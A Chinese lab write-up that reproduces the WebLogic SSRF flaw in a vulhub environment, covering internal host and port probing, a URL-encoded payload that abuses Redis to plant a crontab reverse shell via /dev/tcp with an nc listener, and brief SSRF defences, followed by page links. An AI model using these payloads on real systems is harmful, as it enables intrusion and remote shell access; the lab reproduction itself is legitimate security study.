weblogicSSRF漏洞复现
一、关于SSRF
1.1 简介:
SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
1.2 利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)
4) 攻击运行在内外网主机的应用程序
5) 攻击内外网的 Web 应用,主要是使用 GET参数就可以实现的攻击
6) 利用file协议读取本地文件
1.3 可用协议:
FILE : 读取服务器上任意文件内容
IMAP/IMAPS/POP3SMTP/SMTPS : 爆破邮件用户名密码
FTP/FTPS : FTP匿名访问、爆破
DICT :操作内网Redis等服务
GOPHER :能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞
TFTP : UDP协议扩展
经常利用: file协议读取本地文件
Gopher协议对内网系统进行post攻击
通过dict协议读取目标服务器端口上运行的服务版本信息
二、SSRF漏洞复现
2.1 环境搭建:
进入 vulhub/weblogic/ssrf 目录下执行
Docker-compose build
Docker-compose up -d
搭建环境需要一些时间,可以继续往下看文章
搭建完成后,访问 http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp
(漏洞存在于该页面)出现如下图页面即为搭建成功:

2.2 漏洞测试:
环境:需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境,我用的是kali
SSRF靶机(CentOS7):192.168.124.128
内网主机(Kali):192.168.124.133
探测主机是否存活:
Payload :参数 operator 后输入想探测的IP
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.124.133
出现如下图所示情况出现报错weblogic.uddi.client.structures.exception.XML_SoapException,且根据后面提示此主机存活只是无法连接80端口(即未开放80端口)

同理尝试探测不存在的IP : 提示变为了No route to host

- 访问一个可以访问的ip:port , 一般返回一个状态码,The server at http://ip:7001/ returned a 404 error code (Not Found) 如下图。这是探测本机

还尝试了探测kali上开放的一个端口,提示的是connect reset
之后尝试了nc -lvvp 8000 监听一个端口,发现如下图可以连接,但是weblogic页面一直处于响应中状态没有任何提示 。

也因此,根据这些特点可以进行内网的IP和端口扫描
三、 攻击redis服务器,并利用其反弹shell:
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
- 查看docker redis服务器的ip:port
Docker ps
Docker exec -it 容器ID ip addr

查看是否可以与redis服务器通信
此报错说明redis服务器开放且可以通信

- 准备攻击代码 :
test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.124.133/1111 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
//此代码大致意思为使靶机向 192.168.124.133:1111的靶机反弹shell
代码里的ip和端口根据自己环境更改,最后将代码进行URL编码:
test%0d%0a%0d%0aset+1+%22%5cn%5cn%5cn%5cn*+*+*+*+*+root+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.124.133%2f1111+0%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig+set+dir+%2fetc%2f%0d%0aconfig+set+dbfilename+crontab%0d%0asave%0d%0a%0d%0aaaa
反弹shell步骤:
① 攻击者kali : 192.168.124.133
监听端口1111:nc -lvvp 1111
② 浏览器地址栏输入下面的攻击代码
http://SSRF靶机ip:端口/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://redis服务器ip:端口/+上面准备好的攻击代码。
比如我的就是:
http://192.168.124.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.124.133%2F2222%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹成功

这里比较奇怪的是,kali并不能直接ping通 redis服务器(172.18.0.2)但是redis服务器可以ping通kali (-l 参数指定源IP) 所以不知道这个连接是怎样搞起来的。
四、SSRF防御思路:
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
五、参考文章
SSRF漏洞利用扩展(file,gopher,dict协议):https://www.cnblogs.com/flokz/p/ssrf.html
Vulhub关于SSRF漏洞文档:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
SSRF攻击实例:https://www.freebuf.com/articles/web/20407.html
Weblogic 漏洞浮现:https://www.jianshu.com/p/cc752eb8deca
weblogicSSRF漏洞复现的更多相关文章
- Weblogic-SSRF漏洞复现
Weblogic-SSRF漏洞复现 一.SSRF概念 服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞.一般情况下,SSR ...
- Weblogic-SSRF 漏洞复现
0x01 环境搭建 我这里使用的是vulhub,它几乎包含了所有的漏洞环境.(建议安装在ubuntu上) 有需要的小伙伴来企鹅群自取. 安装好vulhub之后需要cd 到weblogic ssrf 目 ...
- 11.Weblogic-SSRF漏洞复现
应为这一阵正好在学习SSRF漏洞,又苦于本人太菜没有挖到SSRF,只能复现... 先贴出很早之前央视网SSRF可窥探内网(Weblogic SSRF案例):https://www.secpulse.c ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Struts2-052 漏洞复现
s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
随机推荐
- 前端集合传参,springmvc后端如何接收
废话不多说,上代码 后端接收对象: class ObjectA{ private String a; private String b; private List<ObjectB> lis ...
- 安装eclipse及Helloworld体验
准备工作 如果没有配置java环境变量的请移步:https://www.cnblogs.com/lhns/p/9638105.html 下载eclipse 网址:https://www.eclipse ...
- ExtJs4学习(八)数据代理Proxy
ExtJs数据代理我们介绍常用的四种,但会着重介绍ajax代理,因为日常开发中,这个最为常用 Ext.data.proxy.Ajax AjaxProxy(Ajax数据代理类)是你的应用程序中使用最广泛 ...
- 8 shell if else
if 语句的判断条件,从本质上讲,判断的就是命令的退出状态. 语句 语句格式 同一行书写 注意点 用例1 用例2 if 语句 if conditionthen statement(s)fi if ...
- Leetcode No.108 Convert Sorted Array to Binary Search Tree(c++实现)
1. 题目 1.1 英文题目 Given an integer array nums where the elements are sorted in ascending order, convert ...
- Kubernetes 1.13.3 部署 Prometheus+Grafana-7.5.2(最新版本踩坑)
本教程直接在 Kubernetes 1.13.3 版本上安装 Prometheus 和 Grafana-7.5.2,至于它们的原理和概念就不再赘述,这里就直接开始操作. Git 下载相关 YAML 文 ...
- Django基础006--在pycharm中将项目配置为Django项目
1.在File--Settings--搜索Django 操作按照如图所示 2.在pycharm右上方项目处,选择Edit Configurations 3.在Name处写上项目名称 python环境选 ...
- lucene 入门简介
Lucene 是一个基于 Java 的全文信息检索工具包,它不是一个完整的搜索应用程序,而是为你的应用程序提供索引和搜索功能.Lucene 目前是 Apache Jakarta 家族中的一个开源项目. ...
- selenium3 + python - js&jquery操作处理
# 推荐学习:https://www.w3school.com.cn/js/index.asp## 下面以简书登录&注册定位元素为例"""js定位 id name ...
- P2490 [SDOI2011]黑白棋
P2490 [SDOI2011]黑白棋 题意 一个 \(1*n\) 的棋盘上,A 可以移动白色棋子,B 可以移动黑色的棋子,其中白色不能往左,黑色不能往右.他们每次操作可以移动 1 到 \(d\) 个 ...